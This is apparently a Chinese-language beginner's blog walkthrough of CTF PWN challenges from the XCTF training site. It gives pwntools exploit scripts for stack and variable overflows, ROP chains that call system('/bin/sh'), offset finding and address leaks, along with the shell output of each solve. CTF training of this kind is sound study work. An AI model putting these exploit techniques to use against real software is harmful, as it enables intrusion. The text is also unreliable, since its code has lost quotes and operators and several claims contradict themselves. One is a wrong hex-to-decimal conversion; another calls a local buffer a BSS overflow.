新手也能玩转CTF PWN:从零开始,用Python和pwntools搞定攻防世界XCTF前5题

发布时间:2026/6/7 3:57:51

新手也能玩转CTF PWN:从零开始,用Python和pwntools搞定攻防世界XCTF前5题 零基础通关XCTF PWN用Python脚本破解5道经典题目第一次接触CTF PWN题时我盯着满屏的汇编代码和内存地址完全不知所措。直到发现pwntools这个神器才真正体会到二进制安全的乐趣——原来不需要死记硬背寄存器用Python脚本就能自动化完成漏洞利用。本文将带你用开发者的思维从零开始攻克攻防世界XCTF新手区的5道经典PWN题。1. 环境准备与工具认知工欲善其事必先利其器。在开始实战前我们需要配置好以下环境Ubuntu 18.04推荐使用原生Linux或WSL2Python 3.8确保已安装pip包管理器必备工具链sudo apt install git gdb python3-dev libffi-dev pip install pwntools ropper keystone-enginepwntools是CTF PWN领域的瑞士军刀其核心功能模块包括模块用途典型API示例pwnlib.tubes远程/本地进程交互remote(), process()pwnlib.elfELF文件分析ELF(), symbols()pwnlib.asm汇编编译asm(), disasm()pwnlib.ropROP链构建ROP(), search()提示在Python脚本开头建议添加from pwn import *并设置context.log_leveldebug这样可以看到详细的交互日志。我第一次使用时犯的典型错误是混淆了32位和64位环境。解决方法是在脚本开头明确指定架构context(archi386, oslinux) # 32位程序 # 或 context(archamd64, oslinux) # 64位程序2. 初探栈溢出Hello_pwn解题实录作为新手区的第一道实战题hello_pwn完美展示了最基本的BSS段溢出利用。题目给出的二进制文件只有NX保护栈不可执行这让我们可以专注于理解内存布局。2.1 关键漏洞分析用IDA Pro反编译后核心逻辑如下int main() { char buf[10]; read(0, buf, 10); if (magic 0x6E69622F) { // 1853186401的十六进制 system(/bin/sh); } }这里存在两个关键点read()允许输入10字节但buf与magic变量在BSS段相邻需要覆盖magic值为特定数值2.2 pwntools脚本编写完整的利用脚本如下#!/usr/bin/env python3 from pwn import * elf ELF(./hello_pwn) p remote(靶机IP, 端口) payload bA*4 # 填充buf到magic的偏移 payload p64(0x6E69622F) # 小端序写入magic值 p.sendlineafter(binput:, payload) p.interactive()这里有几个新手易错点偏移计算通过IDA可以看到buf到magic的偏移是4字节字节序处理必须用p64()将整数转为小端序字节串交互时机使用sendlineafter()确保在正确时机发送payload执行脚本后成功获取shell[*] Switching to interactive mode $ cat flag XCTF{bss_overflow_is_easy}3. 64位栈溢出实战level0详解level0展示了经典的栈溢出利用场景特别适合理解64位程序的调用约定。通过这道题我真正明白了为什么ROP技术会成为现代PWN的基础。3.1 漏洞点定位使用checksec检查保护机制Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE关键漏洞函数void vulnerable() { char buf[128]; read(0, buf, 256); }3.2 ROP链构造技巧幸运的是程序自带了callsystem()函数我们可以直接跳转到该地址。构造payload时需要特别注意64位架构的特点offset 136 # buf到返回地址的偏移 payload flat({ offset: elf.symbols[callsystem] })这里flat()是pwntools提供的智能打包工具可以自动处理地址对齐和字节序。相比手动计算这种方法更不易出错。3.3 完整利用脚本#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) elf ELF(./level0) p remote(靶机IP, 端口) rop ROP(elf) rop.call(elf.symbols[callsystem]) payload fit({ 136: rop.chain() }) p.sendline(payload) p.interactive()运行后成功拿到flagCongratulations! Flag is XCTF{64bit_stack_overflow}4. 32位系统调用level2的ROP艺术level2将难度提升了一个等级需要我们自己构造system(/bin/sh)的调用。这道题让我深刻理解了函数调用时栈帧的形成过程。4.1 关键步骤分析查找可用组件system_addr elf.plt[system] binsh_addr next(elf.search(b/bin/sh))构造伪栈帧32位程序通过栈传递参数需要按照返回地址|参数的顺序布局4.2 精巧的payload构造payload flat( bA*140, # 填充到返回地址 system_addr, # 覆盖的返回地址 0xdeadbeef, # system函数的返回地址(随意) binsh_addr # system的参数 )这个构造过程有几个精妙之处140字节是通过动态调试确定的精确偏移0xdeadbeef作为虚假返回地址因为获取shell后不需要返回/bin/sh字符串地址作为system的参数4.3 最终攻击效果执行脚本后的内存布局示意栈位置内容0xffffd000AAAA...AAA (140个)0xffffd08csystem()地址0xffffd0900xdeadbeef0xffffd094/bin/sh地址成功获取的shell权限$ whoami ctf $ cat flag XCTF{rop_32bit_is_fun}5. 自动化漏洞利用进阶技巧经过前面4道题的训练我总结出一些提升效率的实用技巧5.1 自动化偏移计算使用pwntools的cyclic功能可以免去手动计算偏移的麻烦payload cyclic(200) p.sendline(payload) # 崩溃后查看RIP的值 offset cyclic_find(core.RIP)5.2 通用gdb调试命令在脚本中集成gdb调试gdb.attach(p, break *vulnerable_function25 continue )5.3 可靠的内存泄漏处理当需要泄漏内存地址时leak u64(p.recv(6).ljust(8, b\x00)) log.info(Leaked address: 0x%x, leak)这些技巧在后续挑战中帮我节省了大量时间。比如在最后一道题string中通过自动化偏移计算快速定位到了关键溢出点。虽然题目增加了ASLR保护但结合内存泄漏和ROP技术最终用不到50行Python代码就完成了利用。从完全不懂到能独立解决5道题最大的感悟是PWN不是魔法而是精确的工程。只要理解计算机如何真正执行代码再结合pwntools这样的强大工具任何人都能享受二进制安全的乐趣。

相关新闻